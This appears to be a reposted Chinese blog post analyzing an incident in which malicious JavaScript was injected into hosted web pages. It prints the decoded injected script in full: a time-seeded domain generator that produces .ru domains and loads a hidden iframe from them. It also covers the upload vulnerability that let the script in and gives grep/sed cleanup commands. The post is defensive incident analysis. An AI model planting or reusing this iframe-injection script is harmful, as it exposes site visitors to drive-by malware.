zoukankan html css js c++ java

高端黑链SEO—恶意JS脚本注入访问伪随机域名

摘要：我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本，导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法，但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，然后定...

我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本，导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法，但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，然后定时访问。看上去目的并非是 SEO。

一、攻击分析

被插入的 javascript 在此——

运维拿到这段代码的时候，都不知道它是要做什么。在这里不得不吐槽一下，为啥我们的运维都不懂代码……我放到 Chrome 里 decode 出来，是这样子的：

functionnextRandomNumber(){varhi=this.seed/this.Q;varlo=this.seed%this.Q;vartest=this.A*lo-this.R*hi;if(test>0){this.seed=test;}else{this.seed=test+this.M;}return(this.seed*this.oneOverM);} functionRandomNumberGenerator(unix){vard=newDate(unix*1000);vars=d.getHours()>12?1:0;this.seed=2345678901+(d.getMonth()*0xFFFFFF)+(d.getDate()*0xFFFF)+(Math.round(s*0xFFF));this.A=48271;this.M=2147483647;this.Q=this.M/this.A;this.R=this.M%this.A;this.oneOverM=1.0/this.M;this.next=nextRandomNumber;returnthis;} functioncreateRandomNumber(r,Min,Max){returnMath.round((Max-Min)*r.next()+Min);} functiongeneratePseudoRandomString(unix,length,zone){varrand=newRandomNumberGenerator(unix);varletters=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];varstr='';for(vari=0;i<length;i++){str+=letters[createRandomNumber(rand,0,letters.length-1)];}returnstr+'.'+zone;}setTimeout(function(){try{if(typeofiframeWasCreated=="undefined"){iframeWasCreated=true;varunix=Math.round(+newDate()/1000);vardomainName=generatePseudoRandomString(unix,16,'ru');ifrm=document.createElement("IFRAME");ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx");ifrm.style.width="0px";ifrm.style.height="0px";ifrm.style.visibility="hidden";document.body.appendChild(ifrm);}}catch(e){}},500);

于是大意可知，它内置了一个随机域名生成函数，有趣的事情。伪随机数发生器基于 unix 时间戳，说它是“伪”随机，是因为这并非真正意义上的随机，我们可以根据时间计算出它所产生的结果。事实上，它最终每 12 个小时就会生成一个类似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 这样的域名。//www.yunsec.net 云安全

这并非有新意的黑客，之前有安全人员对恶意软件下载的分析，攻击者甚至使用了 twitter 消息作为种子来生成域名，这是真正的随机，完全无法预料，也无从预警和封锁。

话说回来，在这段代码开始运作产生访问流量之前，黑客有充足的时间注册和配置域名，并挂上木马链接。毫无疑问的是，如果 2012 真的不是世界末日，我们很容易预知到它即将产生什么域名。于是写段程序检测一下，直至未来的 2012 年 8 月 7 日，有 89 个域名已经注册，WHOIS 显示 DNS 解析服务器在俄国。真正的黑客大国，老毛子名不虚传。

网上搜了一下，很多国外服务商也遇到了这个问题，有人甚至观测到一些服务器端的逻辑，比如根据访问者 IP 进行 302 重定向的机制。

二、安全漏洞

更重要的问题是，恶意 js 代码是怎么注入到我们客户的网页上的呢？

通过查看日志我们发现，捅篓子的是某著名后台管理系统的一个文件上传漏洞，目前厂商已经给出修复方案。他们建议重置所有用户的密码……

三、擦屁股

这苦逼活，又是我的差事。花了一个小时，写了两句话，测试通过。

# check

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*>injeted_list.txt

# clean up

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*|xargssed-i-e’s//*km0ae9gr6m/ &/g’-e’s/qhk6sa6g1c //& /g’-e’/km0ae9gr6m*/,/qhk6sa6g1c/d’

参考链接：
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html

查看全文

相关阅读:
搜索回车跳转页面
 登录验证码
 【排序算法】排序算法之插入排序
 PAT 乙级 1044 火星数字（20 分）
PAT 甲级 1035 Password （20 分）
PAT 甲级 1041 Be Unique （20 分）
PAT 甲级 1054 The Dominant Color （20 分）
PAT 甲级 1027 Colors in Mars （20 分）
PAT 甲级 1083 List Grades （25 分）
PAT 甲级 1005 Spell It Right （20 分）

原文地址：https://www.cnblogs.com/xcsn/p/4678456.html